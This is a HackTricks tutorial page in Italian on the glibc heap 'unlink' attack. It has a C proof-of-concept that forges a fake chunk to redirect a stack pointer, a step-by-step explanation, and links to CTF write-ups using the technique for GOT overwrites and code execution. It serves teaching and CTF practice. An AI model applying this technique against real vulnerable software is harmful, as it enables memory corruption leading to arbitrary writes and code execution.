Unlink Attack

Reading time: 7 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Informazioni di Base

Quando questo attacco è stato scoperto, consentiva principalmente un WWW (Write What Where), tuttavia, sono stati aggiunti alcuni controlli rendendo la nuova versione dell'attacco più interessante, più complessa e inutile.

Esempio di Codice:

Codice
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];               // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

  • L'attacco non funziona se vengono utilizzati i tcaches (dopo la versione 2.26)

Obiettivo

Questo attacco consente di cambiare un puntatore a un chunk per puntare a 3 indirizzi prima di se stesso. Se questa nuova posizione (dintorni di dove si trovava il puntatore) ha contenuti interessanti, come altre allocazioni controllabili / stack..., è possibile leggerli/sovrascriverli per causare un danno maggiore.

  • Se questo puntatore si trovava nello stack, poiché ora punta a 3 indirizzi prima di se stesso e l'utente può potenzialmente leggerlo e modificarlo, sarà possibile rivelare informazioni sensibili dallo stack o persino modificare l'indirizzo di ritorno (forse) senza toccare il canary.
  • Negli esempi CTF, questo puntatore si trova in un array di puntatori ad altre allocazioni, quindi, facendolo puntare a 3 indirizzi prima e potendo leggerlo e scriverlo, è possibile far puntare gli altri puntatori ad altri indirizzi.
    Poiché l'utente può potenzialmente leggere/scrivere anche le altre allocazioni, può rivelare informazioni o sovrascrivere nuovi indirizzi in posizioni arbitrarie (come nel GOT).

Requisiti

  • Alcun controllo in memoria (ad es. stack) per creare un paio di chunk dando valori ad alcuni degli attributi.
  • Leak dello stack per impostare i puntatori del fake chunk.

Attacco

  • Ci sono un paio di chunk (chunk1 e chunk2)
  • L'attaccante controlla il contenuto di chunk1 e gli header di chunk2.
  • In chunk1 l'attaccante crea la struttura di un fake chunk:
  • Per bypassare le protezioni si assicura che il campo size sia corretto per evitare l'errore: corrupted size vs. prev_size while consolidating
  • e i campi fd e bk del fake chunk puntano a dove è memorizzato il puntatore di chunk1 con offset di -3 e -2 rispettivamente, quindi fake_chunk->fd->bk e fake_chunk->bk->fd puntano alla posizione in memoria (stack) dove si trova l'indirizzo reale di chunk1:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

  • Gli header di chunk2 vengono modificati per indicare che il chunk precedente non è utilizzato e che la dimensione è quella del fake chunk contenuto.
  • Quando il secondo chunk viene liberato, questo fake chunk viene disconnesso avvenendo:
  • fake_chunk->fd->bk = fake_chunk->bk
  • fake_chunk->bk->fd = fake_chunk->fd
  • In precedenza è stato fatto in modo che fake_chunk->fd->bk e fake_chunk->bk->fd puntassero allo stesso posto (la posizione nello stack dove era memorizzato chunk1, quindi era una lista collegata valida). Poiché entrambi puntano alla stessa posizione, solo l'ultimo (fake_chunk->bk->fd = fake_chunk->fd) avrà effetto.
  • Questo sovrascriverà il puntatore a chunk1 nello stack con l'indirizzo (o byte) memorizzato 3 indirizzi prima nello stack.
  • Pertanto, se un attaccante potesse controllare nuovamente il contenuto di chunk1, sarà in grado di scrivere all'interno dello stack, potendo potenzialmente sovrascrivere l'indirizzo di ritorno saltando il canary e modificare i valori e i puntatori delle variabili locali. Anche modificando nuovamente l'indirizzo di chunk1 memorizzato nello stack in una posizione diversa dove, se l'attaccante potesse controllare nuovamente il contenuto di chunk1, sarà in grado di scrivere ovunque.
  • Nota che questo è stato possibile perché gli indirizzi sono memorizzati nello stack. Il rischio e lo sfruttamento potrebbero dipendere da dove sono memorizzati gli indirizzi del fake chunk.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

Riferimenti

  • https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
  • Anche se sarebbe strano trovare un attacco unlink anche in un CTF, qui hai alcuni writeup dove questo attacco è stato utilizzato:
  • Esempio CTF: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
  • In questo esempio, invece dello stack, c'è un array di indirizzi mallocati. L'attacco unlink viene eseguito per poter allocare un chunk qui, quindi essere in grado di controllare i puntatori dell'array di indirizzi mallocati. Poi, c'è un'altra funzionalità che consente di modificare il contenuto dei chunk in questi indirizzi, il che consente di puntare indirizzi al GOT, modificare gli indirizzi delle funzioni per ottenere leak e RCE.
  • Un altro esempio CTF: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
  • Proprio come nel precedente esempio, c'è un array di indirizzi di allocazioni. È possibile eseguire un attacco unlink per far puntare l'indirizzo alla prima allocazione a poche posizioni prima dell'inizio dell'array e sovrascrivere questa allocazione nella nuova posizione. Pertanto, è possibile sovrascrivere i puntatori di altre allocazioni per puntare al GOT di atoi, stamparlo per ottenere un leak di libc e poi sovrascrivere il GOT di atoi con l'indirizzo di un one gadget.
  • Esempio CTF con funzioni malloc e free personalizzate che abusano di una vulnerabilità molto simile all'attacco unlink: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
  • C'è un overflow che consente di controllare i puntatori FD e BK di malloc personalizzato che verranno (personalmente) liberati. Inoltre, l'heap ha il bit di esecuzione, quindi è possibile rivelare un indirizzo heap e puntare una funzione dal GOT a un chunk heap con uno shellcode da eseguire.

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks